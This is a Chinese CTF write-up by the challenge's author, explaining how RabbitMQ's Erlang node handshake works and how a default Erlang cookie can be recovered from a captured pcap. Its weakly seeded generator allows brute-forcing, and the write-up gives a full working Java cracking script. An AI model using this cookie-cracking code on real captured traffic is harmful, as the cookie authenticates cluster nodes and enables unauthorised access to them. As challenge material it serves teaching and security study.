0x01 写在前面
前段时间在字节 CTF 的大师赛上出了一个杂项,算是前段时间研究某个中间件的衍生产物,觉得很有兴趣,最近有时间便拿出来分享一下出题思路
0x02 小玩笑
当今时代,消息中间件已成为实现分布式系统和微服务架构的关键组件之一,市面上的常见的消息中间件主要有ActiveMQ、Kafka、RabbitMQ、RocketMQ,其中 RabbitMQ 主要用于金融业、Kafka 主要用于大数据行业,并且随着时间的推移,RabbitMQ 成为了最受欢迎和使用最多的消息队列之一。但是针对于 RabbitMQ 的利用和安全问题,在业内却少有研究。本题主要以 RabbitMQ 的erlang Node节点通信安全为核心,考察参赛选手对整个通信过程的安全理解。
当打开题目所给的 pcap 数据包后,可以看到172.20.10.24 和 172.20.10.4 之间通信的主要的协议有http、tcp、amqp、 ErlDP 等,如下图所示:
题目里设置了假的 flag,如果直接搜索 flag,会搜到 fakerflag{ByteDance@2024} 和 this is a faker flag that is ByteCTF{1e1111dce-cdf7-423f-8a8b-a62dec323d17}(开个小玩笑)
0x03 通信过程分析
进入正题。
根据题目描述:
请你尝试分析这段数据,解出 172.20.10.24 和 172.20.10.4 之间通信的 cookie
根据已有协议,http 协议的 cookie 为:
将其 转换为 32 位小写的 md5 后,提交发现 flag 错误,因此看看其他协议:AMQP、EPMD、ErlDP
实际上这三个协议主要是为 RabbitMQ 提供服务的,AMQP(Advanced Message Queuing Protocol,高级消息队列协议)是一个开放标准的应用层网络协议,用于在分布式系统中进行异步消息传递。它是RabbitMQ等消息中间件广泛支持的主要协议之一。AMQP协议支持多种认证机制,其中PLAIN-SASL(简单认证和安全层)是常用的一种。在PLAIN-SASL认证中,客户端通过提供用户名(username)和密码(password)进行身份验证。
除此之外,AMQP还支持其他SASL机制,如 EXTERNAL、ANONYMOUS 等,具体使用哪种机制取决于服务器的配置和安全需求。认证成功后,客户端需要经过一系列步骤才能开始消息传输,包括建立连接、创建通道、声明交换机和队列等。AMQP协议本身不使用cookie进行会话管理,而是依赖于长连接和通道的概念来维护通信状态。因此这个协议也可以排除筛选。那么就剩下两个协议了:EPMD 和 ErlDP。
这两个协议也是本题所考察的内容。即 Erlang 节点协议认证过程。
EPMD 全称为 Erlang Port Mapper Daemon,在 RabbitMQ 中主要充当"名称服务器"的作用。它的主要功能包括:
- 将符号节点名称映射到具体的 IP 地址和端口号。
- 维护一个活跃 Erlang 节点的注册表。
- 协助 Erlang 节点之间建立初始连接。
EPMD 通常在端口 4369 上运行,为 Erlang 集群中的节点提供服务。
Erlang Distribution Protocol(有时简称为 Erlang Distribution 或 Erldp)是 Erlang 编程语言中用于实现分布式系统通信的核心协议。它的主要特点包括:
- 用于 Erlang 节点之间的通信。
- 支持远程过程调用(RPC)和消息传递。
- 提供内置的容错和错误处理机制。
对于节点间的认证,Erlang 使用了一种称为 "Magic Cookie" 的机制:
- 每个 Erlang 节点都有一个 cookie,这是一个字符串值。
- 当两个节点尝试建立连接时,它们会交换并比较各自的 cookie。
- 只有当两个节点的 cookie 相同时,连接才会建立。
- cookie 通常存储在一个名为 .erlang.cookie 的文件中。
当然,虽然这种机制被称为 "cookie",但它与 Web 浏览器中使用的 HTTP cookie 完全不同。Erlang 的 cookie 是一种简单的共享密钥机制,用于节点认证。本题最终的 flag 也就是这个 cookie 32 位 MD5 的小写值。
筛选与 Erlang 通信相关的协议(epmd || erldp)可以发现:
想要分析这段通信的含义就要首先了解 RabbitMQ 中 Erlang节点通信验证的逻辑,过程如下:
Client Node Server Node
| |
| 1. SEND (name, flags, creation) |
|----------------------------------------------->|
| |
| 2. CHALLENGE (challenge, flags) |
|<-----------------------------------------------|
| |
| 3. CHALLENGE_REPLY (digest) |
|----------------------------------------------->|
| |
| 4. CHALLENGE_ACK (digest) |
|<-----------------------------------------------|
| |
现在详细分析每个步骤:
第一步:SEND 客户端节点发送一个SEND消息。包含以下信息:
- 节点名称:标识客户端节点
- 标志(flags):包含版本信息和其他元数据
- 创建信息(creation):用于区分同名但不同时间创建的节点
{SEND,
NodeName, % 例如 'rabbit@node01'
Flags, % 例如 [DFLAG_EXTENDED_REFERENCES, DFLAG_DIST_MONITOR, ...]
Creation % 例如 1
}
对应pcap 包中的 471、517、851以及 970 行
第二步,CHALLENGE 服务端节点收到SEND后,回复一个CHALLENGE消息。包含:
- 挑战值(challenge):一个随机生成的大整数
- 标志(flags):服务端支持的功能标志
{CHALLENGE,
Challenge, % 例如 1234567890
Flags % 例如 [DFLAG_EXTENDED_REFERENCES, DFLAG_DIST_MONITOR, ...]
}
对应pcap 包中的 475、521、855 以及 974 行
第三步,CHALLENGE_REPLY 客户端接收到CHALLENGE后,计算并发送响应:
- 摘要(digest):使用共享的"magic cookie"和挑战值计算的MD5哈希
{CHALLENGE_REPLY,
Digest % 服务端计算的MD5
}
对应pcap 包中的 976 行
第四步,也即最后一步,CHALLENGE_ACK 服务端验证客户端的响应,如果正确,发送ACK:
- 摘要(digest):服务端使用相同方法计算的摘要,用于双向认证
{CHALLENGE_ACK,
Digest % 服务端计算的MD5
}
对应 pcap 包中的 977 行:
这就是整个验证过程,结合协议过程、pcap 包或许还不能够理解整个过程的话,还可以看看erlang节点的 cookie 认证过程代码,在官方仓库中 erlang/otp/lib/jinterface/java_src/com/ericsson/otp/erlang/AbstractConnection.java 文件里有相关定义,其主要代码如下:
protected void recvChallengeAck(final int our_challenge)
throws IOException, OtpAuthException {
final byte[] her_digest = new byte[16];
try {
final byte[] buf = read2BytePackage();
@SuppressWarnings("resource")
final OtpInputStream ibuf = new OtpInputStream(buf, 0);
final int tag = ibuf.read1();
if (tag != ChallengeAck) {
throw new IOException("Handshake protocol error");
}
ibuf.readN(her_digest);
final byte[] our_digest = genDigest(our_challenge,
localNode.cookie());
if (!digests_equals(her_digest, our_digest)) {
throw new OtpAuthException("Peer authentication error.");
}
} catch (final OtpErlangDecodeException e) {
throw new IOException("Handshake failed - not enough data");
} catch (final Exception e) {
throw new OtpAuthException("Peer authentication error.");
}
if (traceLevel >= handshakeThreshold) {
System.out.println("<- " + "HANDSHAKE recvChallengeAck" + " from="
+ peer.node + " digest=" + hex(her_digest) + " local="
+ localNode);
}
}
...
protected void sendChallengeReply(final int challenge, final byte[] digest)
throws IOException {
@SuppressWarnings("resource")
final OtpOutputStream obuf = new OtpOutputStream();
obuf.write2BE(21);
obuf.write1(ChallengeReply);
obuf.write4BE(challenge);
obuf.write(digest);
obuf.writeToAndFlush(socket.getOutputStream());
if (traceLevel >= handshakeThreshold) {
System.out.println("-> " + "HANDSHAKE sendChallengeReply"
+ " challenge=" + challenge + " digest=" + hex(digest)
+ " local=" + localNode);
}
}
...
protected byte[] genDigest(final int challenge, final String cookie) {
int i;
long ch2;
if (challenge < 0) {
ch2 = 1L << 31;
ch2 |= challenge & 0x7FFFFFFF;
} else {
ch2 = challenge;
}
final OtpMD5 context = new OtpMD5();
context.update(cookie);
context.update("" + ch2);
final int[] tmp = context.final_bytes();
final byte[] res = new byte[tmp.length];
for (i = 0; i < tmp.length; ++i) {
res[i] = (byte) (tmp[i] & 0xFF);
}
return res;
}
大致流程如下:
生成摘要: 使用 genDigest() 方法生成摘要。这个方法使用三个参数:challenge、Cookie 和一个固定字符串。
protected byte[] genDigest(final int challenge, final String cookie) {
// ...
context.update(cookie);
context.update("" + ch2);
// ...
}
交换challenge: 双方交换挑战值,但不直接交换 Cookie。
验证digest: 每一方使用接收到的challenge和自己的 Cookie 生成digest,然后与对方发送的digest进行比较。
final byte[] our_digest = genDigest(our_challenge, localNode.cookie());
if (!digests_equals(her_digest, our_digest)) {
throw new OtpAuthException("Peer authentication error.");
}
判定 Cookie 正确: 如果双方生成的digest相同,就认为 Cookie 是正确的。因为只有双方使用相同的 Cookie 才能生成相同的摘要。
设置 cookieOk 标志: 当认证成功时,设置 cookieOk = true。
java
Copy
cookieOk = true;
sendCookie = false;
后续通信: 在后续的通信中,如果 cookieOk 为 true,就不再重复完整的认证过程。
0x04 一个例子来说明
举例来说,具体如下。
远程的 IP为:101.x.x.145
其流程主要如下:
步骤 | 消息类型 | 通信方向 | 内容 | 说明 |
---|---|---|---|---|
1 | SEND_NAME | 本地 → 远程 | rabbit@nodes | 本地节点向远程节点发送自己的节点标识名称 |
2 | SEND_STATUS | 远程 → 本地 | ok | 远程节点确认找到该节点后返回确认状态 |
3 | SEND_CHALLENGE | 远程 → 本地 | 0xd47f02d3 | 远程节点向本地节点发送挑战值 |
4 | SEND_CHALLENGE_REPLY | 本地 → 远程 | 挑战值: 0x89164a06 摘要值: 1fd30d5a0286c8bf72535e80db246256 | 本地节点回复自己的挑战值和摘要值 |
5 | SEND_CHALLENGE_ACK | 远程 → 本地 | 摘要值: aa8cbfa4f6401bac2aed672a11c8a7a8 | 远程节点比对收到的摘要值,如果匹配则返回自己的摘要值 |
远程发送的:challenge:0xd47f02d3
远程发送的:digest:aa8cbfa4f6401bac2aed672a11c8a7a8
本地发送的:challenge::0x89164a06
本地发送的:digest:1fd30d5a0286c8bf72535e80db246256
远程 Cookie:VLWCCLWXYOZNQPJKAKIO
本地 Cookie:VLWCCLWXYOZNQPJKAKIO
0x89164a06 和 VLWCCLWXYOZNQPJKAKIO 生成 aa8cbfa4f6401bac2aed672a11c8a7a8
0xd47f02d3 和 VLWCCLWXYOZNQPJKAKIO 生成 1fd30d5a0286c8bf72535e80db246256
如下图所示:
如果获取到 SEND_CHALLENGE_ACK阶段返回的 digest,那么就可以轻松的猜测出 Cookie 的值(非用户自定义,默认生成的情况下)
上例中的验证脚本如下:
package Rabbitmq;
public class CookieHashDemo {
public static byte[] genDigest(final int challenge, final String cookie) {
int i;
long ch2;
if (challenge < 0) {
ch2 = 1L << 31;
ch2 |= challenge & 0x7FFFFFFF;
} else {
ch2 = challenge;
}
final OtpMD5 context = new OtpMD5();
context.update(cookie);
context.update("" + ch2);
final int[] tmp = context.final_bytes();
final byte[] res = new byte[tmp.length];
for (i = 0; i < tmp.length; ++i) {
res[i] = (byte) (tmp[i] & 0xFF);
}
return res;
}
private static boolean digests_equals(final byte[] a, final byte[] b) {
int i;
for (i = 0; i < 16; ++i) {
if (a[i] != b[i]) {
return false;
}
}
return true;
}
static String hex0(final byte x) {
final char tab[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'a', 'b', 'c', 'd', 'e', 'f' };
int uint;
if (x < 0) {
uint = x & 0x7F;
uint |= 1 << 7;
} else {
uint = x;
}
return "" + tab[uint >>> 4] + tab[uint & 0xF];
}
static String hex(final byte[] b) {
final StringBuffer sb = new StringBuffer();
try {
int i;
for (i = 0; i < b.length; ++i) {
sb.append(hex0(b[i]));
}
} catch (final Exception e) {
// Debug function, ignore errors.
}
return sb.toString();
}
public static void main(String[] args) {
String local_cookie = "VLWCCLWXYOZNQPJKAKIO";
int local_challenge = 0x89164a06;
String remote_digest = "aa8cbfa4f6401bac2aed672a11c8a7a8";
byte[] our_digest = genDigest(local_challenge,local_cookie);
System.out.println(hex(our_digest));
if (!digests_equals(remote_digest.getBytes(), hex(our_digest).getBytes())) {
System.out.println("Peer authentication error.");
}else {
System.out.println("Success!");
}
}
}
0x05 题解
回到本题,我们已经通过 pcap 包获取到了Challenge值(0x60ea7bde)以及 SEND_CHALLENGE_ACK阶段返回的 digest值(f0e2967976d3ad1d0e8d2e85e7146f1a),因此只需要本地 fuzz 即可推断出 cookie 值。
但是这里有个问题,fuzz 前我们必须知道 生成 cookie 长什么样,cookie 的生成逻辑是什么,不然没法写 fuzz 脚本。
实际上,如果你在自己的机器上可以很轻松的搭建一个 RabbitMQ 服务。
RabbitMQ 的 cookie 默认保存在 /var/lib/rabbitmq/.erlang.cookie 文件里,由 20 个大写的英文字母组成,类似如下:
而 cookie 的生成算法如下(官方仓库:/erlang/otp/blob/master/lib/kernel/src/auth.erl):
-module(cookie_generator).
-export([create_cookie/1]).
%% next_random/1 function
next_random(X) ->
(X*17059465+1) band 16#fffffffff.
...
%% random_cookie/3 function
random_cookie(0, _, Result) ->
lists:reverse(Result);
random_cookie(Count, X0, Result) ->
X = next_random(X0),
Letter = X*($Z-$A+1) div 16#1000000000 + $A,
random_cookie(Count-1, X, [Letter|Result]).
...
%% create_cookie/1 function
create_cookie(Name) ->
io:format("Seed_1: ~p~n", [abs(erlang:monotonic_time() bxor erlang:unique_integer())]),
Seed = abs(erlang:monotonic_time() bxor erlang:unique_integer()),
io:format("Seed_2: ~p~n", [abs(erlang:monotonic_time() bxor erlang:unique_integer())]),
Cookie = random_cookie(20, Seed, []),
io:format("Cookie: ~p~n", [Cookie]),
Cookie.
可以看到,在这个cookie 生成的逻辑中,其关键点主要在于 seed 的值。
Seed = abs(erlang:monotonic_time() bxor erlang:unique_integer()),
- erlang:monotonic_time():表示从 Erlang 虚拟机启动到调用的时间(以纳秒为单位)
- erlang:unique_integer():返回一个整数
这两个数实际上很难预测出来
但是可以发现,这两个值进行异或计算后,生成的值是一个大整数
因此可以反复的模拟生成cookie的过程(要不断的重启 erlang 虚拟机才可以),观察 seed 的特征:
经过观测发现,其 seed 大部分处于 350,000,000 ~ 550,000,000 之间,且 seed 的大小和所处的机器相关,当处理器较多的时候,其生成的 seed 相对于少的时候而言是偏大的,以下是单核生成的 30 万个 seed 所处的区间统计:
当然,由于是本地破解,实际上运算速度很快,知道了 seed 的大致值,我们可以设置从 300000000 开始到 900000000 结束(当然,你也可以从 1 开始,就是花的时间多就是)
最终脚本如下:
Payload.java
package Rabbitmq;
public class Payload {
public static byte[] genDigest(final int challenge, final String cookie) {
int i;
long ch2;
if (challenge < 0) {
ch2 = 1L << 31;
ch2 |= challenge & 0x7FFFFFFF;
} else {
ch2 = challenge;
}
final OtpMD5 context = new OtpMD5();
context.update(cookie);
context.update("" + ch2);
final int[] tmp = context.final_bytes();
final byte[] res = new byte[tmp.length];
for (i = 0; i < tmp.length; ++i) {
res[i] = (byte) (tmp[i] & 0xFF);
}
return res;
}
private static boolean digests_equals(final byte[] a, final byte[] b) {
int i;
for (i = 0; i < 16; ++i) {
if (a[i] != b[i]) {
return false;
}
}
return true;
}
static String hex0(final byte x) {
final char tab[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'a', 'b', 'c', 'd', 'e', 'f' };
int uint;
if (x < 0) {
uint = x & 0x7F;
uint |= 1 << 7;
} else {
uint = x;
}
return "" + tab[uint >>> 4] + tab[uint & 0xF];
}
static String hex(final byte[] b) {
final StringBuffer sb = new StringBuffer();
try {
int i;
for (i = 0; i < b.length; ++i) {
sb.append(hex0(b[i]));
}
} catch (final Exception e) {
}
return sb.toString();
}
public static long nextRandom(long x) {
return (x * 17059465 + 1) & 0xfffffffffL;
}
public static String deriveCookie(long seed, int size) {
long x = seed;
char[] cookie = new char[size];
for (int i = size - 1; i >= 0; i--) {
x = nextRandom(x);
cookie[i] = (char) ('A' + (26 * x) / 0x1000000000L);
}
return new String(cookie);
}
private static double nanoToMinutes(long nanos) {
return nanos / (60.0 * 1_000_000_000);
}
public static void main(String[] args) {
long seed_start = 300000000;
long seed_end = 900000000;
int size = 20;
int local_challenge = 0x60ea7bde;
String remote_digest = "f0e2967976d3ad1d0e8d2e85e7146f1a";
long startTimeNano = System.nanoTime();
for(long i = seed_start; i<=seed_end; i++){
String local_cookie = deriveCookie(i, size);
byte[] our_digest = genDigest(local_challenge,local_cookie);
if (!digests_equals(remote_digest.getBytes(), hex(our_digest).getBytes())) {
System.out.println("[*] Seed: " + i + ", Try Cookie " + local_cookie + " : Peer authentication error.");
}else {
System.out.println("[*] Seed: " + i + ", Success! Your Cookie is " + local_cookie);
long endTimeNano = System.nanoTime();
long durationNano = endTimeNano - startTimeNano;
double durationMinutes = nanoToMinutes(durationNano);
System.out.printf("Fuzz 时间: %.4f 分钟%n", durationMinutes);
break;
}
}
}
}
OtpMD5.java
package Rabbitmq;
class OtpMD5 {
static final long S11 = 7;
static final long S12 = 12;
static final long S13 = 17;
static final long S14 = 22;
static final long S21 = 5;
static final long S22 = 9;
static final long S23 = 14;
static final long S24 = 20;
static final long S31 = 4;
static final long S32 = 11;
static final long S33 = 16;
static final long S34 = 23;
static final long S41 = 6;
static final long S42 = 10;
static final long S43 = 15;
static final long S44 = 21;
private final long state[] = { 0x67452301L, 0xefcdab89L, 0x98badcfeL,
0x10325476L };
private final long count[] = { 0L, 0L };
private final int buffer[];
public OtpMD5() {
buffer = new int[64];
int i;
for (i = 0; i < 64; ++i) {
buffer[i] = 0;
}
}
private int[] to_bytes(final String s) {
final char tmp[] = s.toCharArray();
final int ret[] = new int[tmp.length];
int i;
for (i = 0; i < tmp.length; ++i) {
ret[i] = tmp[i] & 0xFF;
}
return ret;
}
private int[] clean_bytes(final int bytes[]) {
final int ret[] = new int[bytes.length];
int i;
for (i = 0; i < bytes.length; ++i) {
ret[i] = bytes[i] & 0xFF;
}
return ret;
}
private long shl(final long what, final int steps) {
return what << steps & 0xFFFFFFFFL;
}
private long shr(final long what, final int steps) {
return what >>> steps;
}
private long plus(final long a, final long b) {
return a + b & 0xFFFFFFFFL;
}
private long not(final long x) {
return ~x & 0xFFFFFFFFL;
}
private void to_buffer(final int to_start, final int[] from,
final int from_start, final int num) {
int ix = num;
int to_ix = to_start;
int from_ix = from_start;
while (ix-- > 0) {
buffer[to_ix++] = from[from_ix++];
}
}
private void do_update(final int bytes[]) {
int index = (int) (count[0] >>> 3 & 0x3F);
final long inlen = bytes.length;
final long addcount = shl(inlen, 3);
final long partlen = 64 - index;
int i;
count[0] = plus(count[0], addcount);
if (count[0] < addcount) {
++count[1];
}
count[1] = plus(count[1], shr(inlen, 29));
if (inlen >= partlen) {
to_buffer(index, bytes, 0, (int) partlen);
transform(buffer, 0);
for (i = (int) partlen; i + 63 < inlen; i += 64) {
transform(bytes, i);
}
index = 0;
} else {
i = 0;
}
to_buffer(index, bytes, i, (int) inlen - i);
}
@SuppressWarnings("unused")
private void dumpstate() {
System.out.println("state = {" + state[0] + ", " + state[1] + ", "
+ state[2] + ", " + state[3] + "}");
System.out.println("count = {" + count[0] + ", " + count[1] + "}");
System.out.print("buffer = {");
int i;
for (i = 0; i < 64; ++i) {
if (i > 0) {
System.out.print(", ");
}
System.out.print(buffer[i]);
}
System.out.println("}");
}
private long F(final long x, final long y, final long z) {
return x & y | not(x) & z;
}
private long G(final long x, final long y, final long z) {
return x & z | y & not(z);
}
private long H(final long x, final long y, final long z) {
return x ^ y ^ z;
}
private long I(final long x, final long y, final long z) {
return y ^ (x | not(z));
}
private long ROTATE_LEFT(final long x, final long n) {
return shl(x, (int) n) | shr(x, (int) (32 - n));
}
private long FF(final long a, final long b, final long c, final long d,
final long x, final long s, final long ac) {
long tmp = plus(a, plus(plus(F(b, c, d), x), ac));
tmp = ROTATE_LEFT(tmp, s);
return plus(tmp, b);
}
private long GG(final long a, final long b, final long c, final long d,
final long x, final long s, final long ac) {
long tmp = plus(a, plus(plus(G(b, c, d), x), ac));
tmp = ROTATE_LEFT(tmp, s);
return plus(tmp, b);
}
private long HH(final long a, final long b, final long c, final long d,
final long x, final long s, final long ac) {
long tmp = plus(a, plus(plus(H(b, c, d), x), ac));
tmp = ROTATE_LEFT(tmp, s);
return plus(tmp, b);
}
private long II(final long a, final long b, final long c, final long d,
final long x, final long s, final long ac) {
long tmp = plus(a, plus(plus(I(b, c, d), x), ac));
tmp = ROTATE_LEFT(tmp, s);
return plus(tmp, b);
}
private void decode(final long output[], final int input[],
final int in_from, final int len) {
int i, j;
for (i = 0, j = 0; j < len; i++, j += 4) {
output[i] = input[j + in_from] | shl(input[j + in_from + 1], 8)
| shl(input[j + in_from + 2], 16)
| shl(input[j + in_from + 3], 24);
}
}
private void transform(final int block[], final int from) {
long a = state[0];
long b = state[1];
long c = state[2];
long d = state[3];
final long x[] = new long[16];
decode(x, block, from, 64);
a = FF(a, b, c, d, x[0], S11, 0xd76aa478L);
d = FF(d, a, b, c, x[1], S12, 0xe8c7b756L);
c = FF(c, d, a, b, x[2], S13, 0x242070dbL);
b = FF(b, c, d, a, x[3], S14, 0xc1bdceeeL);
a = FF(a, b, c, d, x[4], S11, 0xf57c0fafL);
d = FF(d, a, b, c, x[5], S12, 0x4787c62aL);
c = FF(c, d, a, b, x[6], S13, 0xa8304613L);
b = FF(b, c, d, a, x[7], S14, 0xfd469501L);
a = FF(a, b, c, d, x[8], S11, 0x698098d8L);
d = FF(d, a, b, c, x[9], S12, 0x8b44f7afL);
c = FF(c, d, a, b, x[10], S13, 0xffff5bb1L);
b = FF(b, c, d, a, x[11], S14, 0x895cd7beL);
a = FF(a, b, c, d, x[12], S11, 0x6b901122L);
d = FF(d, a, b, c, x[13], S12, 0xfd987193L);
c = FF(c, d, a, b, x[14], S13, 0xa679438eL);
b = FF(b, c, d, a, x[15], S14, 0x49b40821L);
a = GG(a, b, c, d, x[1], S21, 0xf61e2562L);
d = GG(d, a, b, c, x[6], S22, 0xc040b340L);
c = GG(c, d, a, b, x[11], S23, 0x265e5a51L);
b = GG(b, c, d, a, x[0], S24, 0xe9b6c7aaL);
a = GG(a, b, c, d, x[5], S21, 0xd62f105dL);
d = GG(d, a, b, c, x[10], S22, 0x2441453L);
c = GG(c, d, a, b, x[15], S23, 0xd8a1e681L);
b = GG(b, c, d, a, x[4], S24, 0xe7d3fbc8L);
a = GG(a, b, c, d, x[9], S21, 0x21e1cde6L);
d = GG(d, a, b, c, x[14], S22, 0xc33707d6L);
c = GG(c, d, a, b, x[3], S23, 0xf4d50d87L);
b = GG(b, c, d, a, x[8], S24, 0x455a14edL);
a = GG(a, b, c, d, x[13], S21, 0xa9e3e905L);
d = GG(d, a, b, c, x[2], S22, 0xfcefa3f8L);
c = GG(c, d, a, b, x[7], S23, 0x676f02d9L);
b = GG(b, c, d, a, x[12], S24, 0x8d2a4c8aL);
a = HH(a, b, c, d, x[5], S31, 0xfffa3942L);
d = HH(d, a, b, c, x[8], S32, 0x8771f681L);
c = HH(c, d, a, b, x[11], S33, 0x6d9d6122L);
b = HH(b, c, d, a, x[14], S34, 0xfde5380cL);
a = HH(a, b, c, d, x[1], S31, 0xa4beea44L);
d = HH(d, a, b, c, x[4], S32, 0x4bdecfa9L);
c = HH(c, d, a, b, x[7], S33, 0xf6bb4b60L);
b = HH(b, c, d, a, x[10], S34, 0xbebfbc70L);
a = HH(a, b, c, d, x[13], S31, 0x289b7ec6L);
d = HH(d, a, b, c, x[0], S32, 0xeaa127faL);
c = HH(c, d, a, b, x[3], S33, 0xd4ef3085L);
b = HH(b, c, d, a, x[6], S34, 0x4881d05L);
a = HH(a, b, c, d, x[9], S31, 0xd9d4d039L);
d = HH(d, a, b, c, x[12], S32, 0xe6db99e5L);
c = HH(c, d, a, b, x[15], S33, 0x1fa27cf8L);
b = HH(b, c, d, a, x[2], S34, 0xc4ac5665L);
a = II(a, b, c, d, x[0], S41, 0xf4292244L);
d = II(d, a, b, c, x[7], S42, 0x432aff97L);
c = II(c, d, a, b, x[14], S43, 0xab9423a7L);
b = II(b, c, d, a, x[5], S44, 0xfc93a039L);
a = II(a, b, c, d, x[12], S41, 0x655b59c3L);
d = II(d, a, b, c, x[3], S42, 0x8f0ccc92L);
c = II(c, d, a, b, x[10], S43, 0xffeff47dL);
b = II(b, c, d, a, x[1], S44, 0x85845dd1L);
a = II(a, b, c, d, x[8], S41, 0x6fa87e4fL);
d = II(d, a, b, c, x[15], S42, 0xfe2ce6e0L);
c = II(c, d, a, b, x[6], S43, 0xa3014314L);
b = II(b, c, d, a, x[13], S44, 0x4e0811a1L);
a = II(a, b, c, d, x[4], S41, 0xf7537e82L);
d = II(d, a, b, c, x[11], S42, 0xbd3af235L);
c = II(c, d, a, b, x[2], S43, 0x2ad7d2bbL);
b = II(b, c, d, a, x[9], S44, 0xeb86d391L);
state[0] = plus(state[0], a);
state[1] = plus(state[1], b);
state[2] = plus(state[2], c);
state[3] = plus(state[3], d);
}
public void update(final int bytes[]) {
do_update(clean_bytes(bytes));
}
public void update(final String s) {
do_update(to_bytes(s));
}
private int[] encode(final long[] input, final int len) {
final int output[] = new int[len];
int i, j;
for (i = 0, j = 0; j < len; i++, j += 4) {
output[j] = (int) (input[i] & 0xff);
output[j + 1] = (int) (input[i] >>> 8 & 0xff);
output[j + 2] = (int) (input[i] >>> 16 & 0xff);
output[j + 3] = (int) (input[i] >>> 24 & 0xff);
}
return output;
}
public int[] final_bytes() {
final int bits[] = encode(count, 8);
int index, padlen;
int padding[], i;
int[] digest;
index = (int) (count[0] >>> 3 & 0x3f);
padlen = index < 56 ? 56 - index : 120 - index;
padding = new int[padlen];
padding[0] = 0x80;
for (i = 1; i < padlen; ++i) {
padding[i] = 0;
}
do_update(padding);
do_update(bits);
digest = encode(state, 16);
return digest;
}
}
因而得到最终的 cookie 值和 seed 值如下:
[*] Seed: 426271377, Success! Your Cookie is OXZHUNYQHJBWDLCGNUKZ
单线程 Fuzz 的时间为:18.1437 分钟
得到 cookie 值后,将其转换为 32 位小写的 md5 值:
因而最终的 flag 为:ByteCTF{e1347d3b4a848e4fc850b069dbfab71d}
0x06 写在最后
其实这题本来是属于 web 类的,但是由于种种原因,删减了题目,阉割成了杂项题,以后有机会在聊聊更多内容